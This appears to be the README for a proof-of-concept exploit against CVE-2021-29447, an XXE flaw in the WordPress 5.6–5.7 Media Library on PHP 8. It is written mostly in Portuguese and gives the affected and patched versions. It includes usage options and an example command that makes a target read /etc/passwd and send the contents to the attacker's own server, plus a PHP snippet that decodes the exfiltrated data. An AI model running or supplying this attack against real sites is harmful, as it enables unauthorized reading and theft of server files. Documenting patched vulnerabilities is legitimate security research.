
Um exploit de prova de conceito para uma vulnerabilidade na biblioteca de mídia do WordPress 5.6
╔═╗╦ ╦╔═╗
║ ╚╗╔╝║╣────2021-29447
╚═╝ ╚╝ ╚═╝
Written By (Isa Ebrahim - 0xRar) on January, 2023
═══════════════════════════════════════════════════════════════════════════
[*] Title: Wordpress XML parsing issue in the Media Library leading to XXE
[*] Affected versions: Wordpress 5.6 - 5.7
[*] Patched version: Wordpress 5.7.1
[*] Installation version: PHP 8
═══════════════════════════════════════════════════════════════════════════
CVE-2021-29447: Um utilizador com capacidade de carregar ficheiros (como um Autor) pode explorar um problema de análise XML na Biblioteca de Média, levando a ataques XXE. Isto requer que a instalação do WordPress esteja a usar PHP 8. O acesso a ficheiros internos é possível num ataque XXE bem-sucedido. Isto foi corrigido na versão 5.7.1 do WordPress, juntamente com as versões afetadas mais antigas através de um lançamento menor.
Este script é fácil de compreender e executar, e automatizará os passos necessários para explorar o ataque XXE na biblioteca de média do WordPress.
usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]
options:
-h, --help show this help message and exit
-l LHOST, --lhost LHOST your server ip address e.g. 10.0.2.15
-p PORT, --port PORT your server port e.g. 1337
-f FILE, --file FILE system file to read e.g. /etc/passwd
Exemplo:
$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd
Para descodificar o base64, use/execute o seguinte trecho PHP:
<?php
echo zlib_decode(base64_decode('base64_here'));
?>
$ php decode.php